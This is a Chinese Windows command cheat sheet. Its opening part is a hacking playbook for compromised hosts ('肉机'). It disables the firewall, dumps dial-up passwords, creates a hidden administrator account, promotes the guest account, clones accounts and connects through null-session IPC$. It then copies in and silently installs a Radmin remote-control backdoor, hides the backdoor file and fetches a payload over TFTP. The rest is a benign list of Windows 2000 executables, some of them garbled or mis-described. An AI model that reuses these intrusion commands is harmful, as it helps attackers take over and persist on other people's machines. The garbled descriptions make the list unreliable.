Windows命令集

控制面版：运行>>>>>>>>>>>:control
计算机管理：command MMC
结束XP防火墙进程:net stop sharedaccess
查看ADSL帐号密码的代码:dialupass /allusers /stext "c:\pass.txt
启动3389服务：net start TermService
关闭所有防火墙的代码:cmd.exe /c net stop sharedaccess
iis命令重启:iisreset /reboot
用CMD命令实现路由跟踪:tracert 域名(如：www.google.com)
结束进程：NET SHARE
查看版本：ver
查看中端(服务）：net start
查看文件：dir  
查看3389：
加用户：c:\winnt\system32>net user adminserver$ admin /add
提权限：net localgroup administrators adminserver$ /add
211.38.172.2   2180
查看用户net user
远程连接到主机CMD命令：telnet 主机IP
踢人：logoff ID
查看当前人：query user
打开telnet:net start telnet
telnet连接工具：OpenTelnet
删除共享： net share c$=c:\
删除共享： net share c$ /del
启用GUEST：net user guest /active:yes
为GUEST设密码：net user guest 888888
提升到管理员：net localgroup "Administrators" guest /add
超级用户隐藏器:c:\door adminserver$:admin
克隆帐号：ca \\IP 你建立的帐号 密码 肉机默认帐号 密码
ca \\127.0.0.1 adminserver$ admin adminserver admin

完全禁止系统模认工享
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee}]
3389替换服务-----------------------
中修改[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
c:\winnt\system32\copy termsrv.exe service.exe
c:\winnt\system32\cd..
c:\winnt\sc \\127.0.0.1 config Alerter binpath= c:\winnt\system32\service.exe
端口转向：f:\web\ftp.exe "c:\fpipe.exe -v -l 开放的端口 -r 要转向的端口 ip"
使用空口令连接:
net use \\对方IP\ipc$ "" /user:"administrator"
(在上传文件的目录下)远程复制文件:
c:\radmin>net use \\a-01\ipc$ "12345" /user:administrator
c:\ramdin>copy r_server.exe \\a-01\admin$\system32
c:\ramdin>copy radmin.reg \\a-01\admin$\sytem32
在对方CMD下：
c:\winnt\system32\>regedit /s radmin.reg
c:\winnt\system32\>r_server.exe /install /silenec
net start r_server
copy r_server.exe \\对方IP\admin$\system32
c:\opentelnet.exe \\IP ADMINISTRATOR "" 0 90

copy 文件名 \\IP\admin$\system32
进入对方CMD:
c:\opentelnet.exe \\Ip administrator "" 0 90
登陆CMD:
c:\telnet IP 90
安装RADMIN:
c:\winnt\system32\
                  r_server /install silence
c:\winnt\system32\
                  r-server
导入注册表:
c:\winnt\system32\regedit.exe /s aaa.reg
看端口:
c:\winnt\system32\
                  netstat -an
改端口:
c:\winnt\system32\
                  r_server.exe /port:1024 /pass:1234 /save /silence
起动服务:
c:\winnt\system32\net start r_server
隐藏文件:
c:\winnt\system32\attrib.exe +h r_server.exe +h
%systemroot$\system32
看看共享开了没有,没有的话把共享开开
c:\winnt\system32>net share
清单是空的。
c:\winnt\system32>net share ipc$
命令成功完成。
c:\winnt\system32>net share admin$
命令成功完成。
注册表运行命令
regedit
查看端口：netstat-n
SA传送文件TFTP
先在本机开tftp服务 sqlexec
tftp-i IP get windxp.exe c:\windows\system32\com\windxp.exe
2000命令集---------------------------------
win2000命令集accwiz.exe > accessibility wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导
acsetups.exe > acs setup dcom server executable
actmovie.exe > direct show setup tool 直接显示安装工具
append.exe > allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据
arp.exe > network display and modify ip - hardware addresses 显示和更改计算机的ip与硬件物理地址的对应列表
at.exe > at is a scheduling utility also included with unix 计划运行任务
atmadm.exe > displays statistics for atm call manager. atm调用管理器统计
attrib.exe > display and modify attributes for files and folders 显示和更改文件和文件夹属性
autochk.exe > used to check and repair windows file systems 检测修复文件系统
autoconv.exe > automates the file system conversion during reboots 在启动过程中自动转化系统
autofmt.exe > automates the file format process during reboots 在启动过程中格式化进程
autolfn.exe > used for formatting long file names 使用长文件名格式
bootok.exe > boot acceptance application for registry
bootvrfy.exe > bootvrfy.exe, a program included in windows 2000 that notifies the system that startup was successful. bootvrfy.exe can be run on a local or remote computer. 通报启动成功
cacls.exe > displays or modifies access control lists (acls) of files. 显示和编辑acl
calc.exe > windows calculators 计算器
cdplayer.exe > windows cd player cd播放器
change.exe > change { user | port | logon } 与终端服务器相关的查询
charmap.exe > character map 字符映射表
chglogon.exe > same as using "change logon" 启动或停用会话记录
chgport.exe > same as using "change port" 改变端口（终端服务）
chgusr.exe > same as using "change user" 改变用户（终端服务）
chkdsk.exe > check the hard disk for errors similar to scandisk 3 stages must specify a drive letter 磁盘检测程序
chkntfs.exe > same as using chkdsk but for ntfs ntfs磁盘检测程序
cidaemon.exe > component of ci filer service 组成ci文档服务
cipher.exe > displays or alters the encryption of directories [files] on ntfs partitions. 在ntfs上显示或改变加密的文件或目录
cisvc.exe > content index -- it's the content indexing service for i 索引内容
ckcnv.exe > convertor 变换
cleanmgr.exe > disk cleanup, popular with windows 98 磁盘清理
cliconfg.exe > sql server client network utility sql客户网络工具
clipbrd.exe > clipboard viewer for local will allow you to connect to other clipboards 剪贴簿查看器
clipsrv.exe > start the clipboard server 运行clipboard服务
clspack.exe > clspack used to create a file listing of system packages 建立系统文件列表清单
cluster.exe > display a cluster in a domain 显示域的集群
_cmd_.exe > famous command prompt 没什么好说的！
cmdl32.exe > connection manager auto-download 自动下载连接管理
cmmgr32.exe > connection manager 连接管理器
cmmon32.exe > connection manager monitor 连接管理器监视
cmstp.exe > connection manager profile manager 连接管理器配置文件安装程序
comclust.exe > about cluster server 集群
comp.exe > comclust add, remove, or join a cluster. 比较两个文件和文件集的内容＊
compact.exe > displays or alters the compression of files on ntfs partitions. 显示或改变ntfs分区上文件的压缩状态
conime.exe > console ime ime控制台
control.exe > starts the control panel 控制面板
convert.exe > convert file system to ntfs 转换文件系统到ntfs
convlog.exe > converts ms iis log files 转换iis日志文件格式到ncsa格式
cprofile.exe > copy profiles 转换显示模式
c.exe > ms windows s host version 5.1 较本宿主版本
csrss.exe > client server runtime process 客户服务器runtime进程
csvde.exe > comma separated variable import/export utility 日至格式转换程序
dbgtrace.exe > 和terminal server相关
dcomcnfg.exe > display the current dcom configuration. dcom配置属性
dcphelp.exe > ?
dcpromo.exe > promote a domain controller to adsi ad安装向导
ddeshare.exe > display dde shares on local or remote computer dde共享
ddmprxy.exe >
debug.exe > runs debug, a program testing and editing tool. 就是debug啦！
dfrgfat.exe > defrag fat file system fat分区磁盘碎片整理程序
dfrgntfs.exe > defrag ntfs file system ntfs分区磁盘碎片整理程序
dfs_cmd_.exe > configures a dfs tree 配置一个dfs树
dfsinit.exe > distributed file system initialization 分布式文件系统初始化
dfssvc.exe > distributed file system server 分布式文件系统服务器
diantz.exe > ms cabinet maker 制作cab文件
diskperf.exe > starts physical disk performance counters 磁盘性能计数器
dllhost.exe > dllhost is used on all versions of windows 2000. dllhost is the hedost process for all com+ applications. 所有com+应用软件的主进程
dllhst3g.exe >
dmadmin.exe > disk manager service 磁盘管理服务
dmremote.exe > part of disk management 磁盘管理服务的一部分
dns.exe > dns applications dns
doskey.exe > recalls windows command lines and creates macros 命令行创建宏
dosx.exe > dos extender dos扩展
dplaysvr.exe > direct play helper 直接运行帮助
drwatson.exe > dr watson for 2000 fault detector 华生医生错误检测
drwtsn32.exe > dr watson for 2000 viewer and configuration manager 华生医生显示和配置管理
dtcsetup.exe > installs mdtc
dvdplay.exe > windows 2000 dvd player dvd播放
dxdiag.exe > direct-x diagnostics direct-x诊断工具
edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）
edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）
esentutl.exe > ms database utility ms数据库工具
eudcedit.exe > private character editor ture type造字程序
eventvwr.exe > windows 2000 event viewer 事件查看器
evnt_cmd_.exe > event to trap translator; configuration tool
evntwin.exe > event to trap translator setup
exe2bin.exe > converts exe to binary format 转换exe文件到二进制
expand.exe > expand files that have been compressed 解压缩
extrac32.exe > cab file extraction utility 解cab工具
fastopen.exe > fastopen tracks the of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件
faxcover.exe > fax cover page editor 传真封面编辑
faxqueue.exe > display fax queue 显示传真队列
faxsend.exe > fax wizard for sending faxes 发送传真向导
faxsvc.exe > starts fax server 启动传真服务
fc.exe > compares two files or sets of files and their differences 比较两个文件的不同
find.exe > searches for a text string in file or files 查找文件中的文本行
findstr.exe > searches for strings in files 查找文件中的行
finger.exe > fingers a user and displays statistics on that user finger一个用户并显示出统计结果
fixmapi.exe > fix mapi files 修复mapi文件
flattemp.exe > enable or disable temporally directories 允许或者禁用临时文件目录
fontview.exe > display fonts in a font file 显示字体文件中的字体
forcedos.exe > forces a file to start in dos mode. 强制文件在dos模式下运行
freecell.exe > popular windows game 空当接龙
[url=ftp://ftp.exe/]ftp.exe[/url] > file transfer protocol used to transfer files over a network connection 就是ftp了
gdi.exe > graphic device interface 图形界面驱动
grovel.exe >
grpconv.exe > program manager group convertor 转换程序管理员组

help.exe > displays help for windows 2000 commands 显示帮助
hostname.exe > display hostname for machine. 显示机器的hostname
ie4uinit.exe > ie5 user install tool ie5用户安装工具
ieshwiz.exe > customize folder wizard 自定义文件夹向导
iexpress.exe > create and setup packages for install 穿件安装包
iisreset.exe > restart iis admin service 重启iis服务
internat.exe > keyboard language indicator applet 键盘语言指示器
ipconfig.exe > windows 2000 ip configuration. 察看ip配置
ipsecmon.exe > ip security monitor ip安全监视器
ipxroute.exe > ipx routing and source routing control program ipx路由和源路由控制程序
irftp.exe > setup ftp for wireless communication 无线连接
ismserv.exe > intersite messaging service 安装或者删除service control manager中的服务
jdbgmgr.exe > microsoft debugger for 4的调试器
jetconv.exe > convert a jet engine database 转换jet engine数据库
jetpack.exe > compact jet database. 压缩jet数据库
jview.exe > command-line loader for 的命令行装载者
krnl386.exe > core component for windows 2000 2000的核心组件
label.exe > change label for drives 改变驱动器的卷标
lcwiz.exe > license compliance wizard for local or remote systems. 许可证符合向导
ldifde.exe > ldif cmd line manager ldif目录交换命令行管理
licmgr.exe > terminal server license manager 终端服务许可协议管理
lights.exe > display connection status lights 显示连接状况
llsmgr.exe > windows 2000 license manager 2000许可协议管理
llssrv.exe > start the license server 启动许可协议服务器
lnkstub.exe >
locator.exe > rpc locator 远程定位
lodctr.exe > load perfmon counters 调用性能计数
logoff.exe > log current user off. 注销用户
lpq.exe > displays status of a remote lpd queue 显示远端的lpd打印队列的状态，显示被送到基于unix的服务器的打印任务
lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。
lsass.exe > lsa executable and server dll 运行lsa和server的dll
lserver.exe > specifies the new dns domain for the default server 指定默认server新的dns域
macfile.exe > used for managing macfiles 管理macfiles
magnify.exe > used to magnify the current screen 放大镜
makecab.exe > ms cabinet maker 制作cab文件
mdm.exe > machine debug manager 机器调试管理
mem.exe > display current memory stats 显示内存状态
migpwd.exe > migrate passwords. 迁移密码
mmc.exe > microsoft management console 控制台
mnmsrvc.exe > netmeeting remote desktop sharing netmeeting远程桌面共享
mobsync.exe > manage synchronization. 同步目录管理器
mountvol.exe > creates, s, or lists a volume mount point. 创建、删除或列出卷的装入点。
mplay32.exe > ms media player 媒体播放器
mpnotify.exe > multiple provider notification application 多提供者通知应用程序
mq1sync.exe >
mqbkup.exe > ms message queue backup and restore utility 信息队列备份和恢复工具
mqexchng.exe > msmq exchange connector setup 信息队列交换连接设置
mqmig.exe > msmq migration utility 信息队列迁移工具
mqsvc.exe > ?
mrinfo.exe > multicast routing using snmp 使用snmp多点传送路由
mscdexnt.exe > installs mscd (ms cd extensions) 安装mscd
msdtc.exe > dynamic transaction controller console 动态事务处理控制台
msg.exe > send a message to a user local or remote. 发送消息到本地或远程客户
mshta.exe > html application host html应用程序主机
msiexec.exe > starts windows installer program 开始windows安装程序
mspaint.exe > microsoft paint 画板
msswchx.exe >
mstask.exe > task schedule program 任务计划表程序
mstinit.exe > task scheduler setup 任务计划表安装
narrator.exe > program will allow you to have a narrator for reading. microsoft讲述人
nbtstat.exe > displays protocol stats and current tcp/ip connections using nbt 使用 nbt（tcp/ip 上的 netbios）显示协议统计和当前 tcp/ip 连接。
nddeapir.exe > ndde api server side ndde api服务器端
net.exe > net utility 详细用法看/？
net1.exe > net utility d version from ms net的升级版
netdde.exe > network dde will install itself into the background 安装自己到后台
netsh.exe > creates a shell for network information 用于配置和监控 windows 2000 命令行脚本接口。
netstat.exe > displays current connections. 显示协议统计和当前的 tcp/ip 网络连接。
nlsfunc.exe > loads country-specific information 加载特定国家（地区）的信息。windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与 ms-dos 文件兼容。
notepad.exe > opens windows 2000 notepad 记事本
nslookup.exe > displays information for dns 该诊断工具显示来自域名系统 (dns) 名称服务器的信息。
ntbackup.exe > opens the nt backup utility 备份和故障修复工具
ntbooks.exe > starts windows help utility 帮助
ntdsutil.exe > performs db maintenance of the adsi 完成adsi的db的维护
ntfrs.exe > nt file replication service nt文件复制服务
ntfrsupg.exe >
ntkrnlpa.exe > kernel patch 核心补丁
ntoskrnl.exe > core nt kernel kt的核心
ntsd.exe >
ntvdm.exe > simulates a 16-bit windows environment 模拟16位windows环境
nw16.exe > netware redirector netware转向器
nw.exe > runs netware s 运行netware脚本
odbcad32.exe > odbc 32-bit administrator 32位odbc管理
odbcconf.exe > configure odbc driver's and data source's from command line 命令行配置odbc驱动和数据源
os2.exe > an os/2 warp server (os2 /o) os/2
os2srv.exe > an os/2 warp server os/2
os2ss.exe > an os/2 warp server os/2
osk.exe > on screen keyboard 屏幕键盘
packager.exe > windows 2000 packager manager 对象包装程序
pathping.exe > combination of ping and tracert 包含ping和tracert的程序
pax.exe > is a posix program and path names used as arguments must be specified in posix format. use "//c/users/default" instead of "c:usersdefault." 启动便携式存档互换 (pax) 实用程序
pentnt.exe > used to check the pentium for the floating point division error. 检查pentium的浮点错误
perfmon.exe > starts windows performance monitor 性能监视器
ping.exe > packet internet groper 验证与远程计算机的连接
posix.exe > used for backward compatibility with unix 用于兼容unix
print.exe > cmd line used to print files 打印文本文件或显示打印队列的内容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系统应用程序
qappsrv.exe > displays the available application terminal servers on the network
在网络上显示终端服务器可用的程序
qprocess.exe > display information about processes local or remote 在本地或远程显示进程的信息（需终端服务）
query.exe > query termserver user process and sessions 查询进程和对话
quser.exe > display information about a user logged on 显示用户登陆的信息（需终端服务）
qwinsta.exe > display information about terminal sessions. 显示终端服务的信息
rasadmin.exe > start the remote access admin service 启动远程访问服务
rasautou.exe > creates a ras connection 建立一个ras连接
rasdial.exe > dial a connection 拨号连接
rasphone.exe > starts a ras connection 运行ras连接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe > rdpclip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件
recover.exe > recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。
redir.exe > starts the redirector service 运行重定向服务
regedt32.exe > 32-bit register service 32位注册服务
regini.exe > modify registry permissions from within a 用脚本修改注册许可
register.exe > register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序
regsvc.exe >
regsvr32.exe > registers and unregister's dll's. as to how and where it register's them i dont know. 注册和反注册dll
regtrace.exe > options to tune debug options for applications failing to dump trace statements
trace 设置
regwiz.exe > registration wizard 注册向导
remrras.exe >
replace.exe > replace files 用源目录中的同名文件替换目标目录中的文件。
reset.exe > reset an active section 重置活动部分
rexec.exe > runs commands on remote hosts running the rexec service. 在运行 rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 tcp/ip 协议后才可以使用该命令。
risetup.exe > starts the remote installation service wizard. 运行远程安装向导服务
route.exe > display or edit the current routing tables. 控制网络路由表
routemon.exe > no longer supported 不再支持了！
router.exe > router software that runs either on a dedicated dos or on an os/2 system. route软件在 dos或者是os/2系统
rsh.exe > runs commands on remote hosts running the rsh service 在运行 rsh 服务的远程计算机上运行命令
rsm.exe > mounts and configures remote system media 配置远程系统媒体
rsnotify.exe > remote storage notification recall 远程存储通知回显
rsvp.exe > resource reservation protocol 源预约协议
runas.exe > run a program as another user 允许用户用其他权限运行指定的工具和程序
rundll32.exe > launches a 32-bit dll program 启动32位dll程序
runonce.exe > causes a program to run during startup 运行程序再开始菜单中
rwinsta.exe > reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值
savedump.exe > does not write to e:winntuser.dmp 不写入user.dmp中
scardsvr.exe > smart card resource management server 子能卡资源管理服务器
schupgr.exe > it will read the schema files (.ldf files) and upgrade the schema. (part of adsi) 读取计划更新文件和更新计划
secedit.exe > starts security editor help 自动安全性配置管理
services.exe > controls all the services 控制所有服务
sethc.exe > set high contrast - changes colours and display mode logoff to set it back to normal 设置高对比
setreg.exe > shows the software publishing state key values 显示软件发布的国家语言
setup.exe > gui box prompts you to goto control panel to configure system components 安装程序（转到控制面板）
setver.exe > set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本号
sfc.exe > system file checker test and check system files for integrity 系统文件检查
sfmprint.exe > print services for macintosh 打印macintosh服务
sfmpsexe.exe >
sfmsvc.exe >
shadow.exe > monitor another terminal services session. 监控另外一台中端服务器会话
share.exe > windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与 ms-dos 文件兼容
shmgrate.exe >
shrpubw.exe > create and share folders 建立和共享文件夹
sigverif.exe > file signature verification 文件签名验证
skeys.exe > serial keys utility 序列号制作工具
smlogsvc.exe > performance logs and alerts 性能日志和警报
smss.exe >
sndrec32.exe > starts the windows sound recorder 录音机
sndvol32.exe > display the current volume information 显示声音控制信息
snmp.exe > simple network management protocol used for network mangement 简单网络管理协议
snmptrap.exe > utility used with snmp snmp工具
sol.exe > windows solitaire game 纸牌
sort.exe > compares files and folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上
spoolsv.exe > part of the spooler service for printing 打印池服务的一部分
sprestrt.exe >
srvmgr.exe > starts the windows server manager 服务器管理器
stimon.exe > wdm stillimage- > monitor
stisvc.exe > wdm stillimage- > service
subst.exe > associates a path with a drive letter 将路径与驱动器盘符关联
svchost.exe > svchost.exe is a generic host process name for services that are run from dynamic-link libraries (dlls). dll得主进程
syncapp.exe > creates windows briefcase. 创建windows文件包
sysedit.exe > opens editor for 4 system files 系统配置编辑器
syskey.exe > encrypt and secure system database nt账号数据库按群工具
sysocmgr.exe > windows 2000 setup 2000安装程序
systray.exe > starts the systray in the lower right corner. 在低权限运行systray
taskman.exe > task manager 任务管理器
taskmgr.exe > starts the windows 2000 task manager 任务管理器
tcmsetup.exe > telephony client wizard 电话服务客户安装
tcpsvcs.exe > tcp services tcp服务
.exe > telnet utility used to connect to telnet server
termsrv.exe > terminal server 终端服务
tftp.exe > trivial ftp 将文件传输到正在运行 tftp 服务的远程计算机或从正在运行 tftp 服务的远程计算机传输文件
tftpd.exe > trivial ftp daemon
themes.exe > change windows themes 桌面主题
tlntadmn.exe > telnet server administrator telnet服务管理
tlntsess.exe > display the current telnet sessions 显示目前的telnet会话
tlntsvr.exe > start the telnet server 开始telnet服务
tracert.exe > trace a route to display paths 该诊断实用程序将包含不同生存时间 (ttl) 值的 internet 控制消息协议 (icmp) 回显数据包发送到目标，以决定到达目标采用的路由
tsadmin.exe > terminal server administrator 终端服务管理器
tscon.exe > attaches a user session to a terminal session. 粘贴用户会话到终端对话
tsdiscon.exe > disconnect a user from a terminal session 断开终端服务的用户
tskill.exe > kill a terminal server process 杀掉终端服务
tsprof.exe > used with terminal server to query results. 用终端服务得出查询结果
tsshutdn.exe > shutdown the system 关闭系统
unlodctr.exe > part of performance monitoring 性能监视器的一部分
upg351db.exe > upgrade a jet database 升级jet数据库
ups.exe > ups service ups服务
user.exe > core windows service windows核心服务
userinit.exe > part of the winlogon process winlogon进程的一部分
usrmgr.exe > start the windows user manager for domains 域用户管理器
utilman.exe > this tool enables an administrator to designate which computers automatically open accessibility tools when windows 2000 starts. 指定2000启动时自动打开那台机器
verifier.exe > driver verifier manager driver verifier manager
vwipxspx.exe > loads ipx/spx vdm 调用ipx/spx vdm
w32tm.exe > windows time server 时间服务器
wextract.exe > used to extract windows files 解压缩windows文件
winchat.exe > opens windows chat 打开windows聊天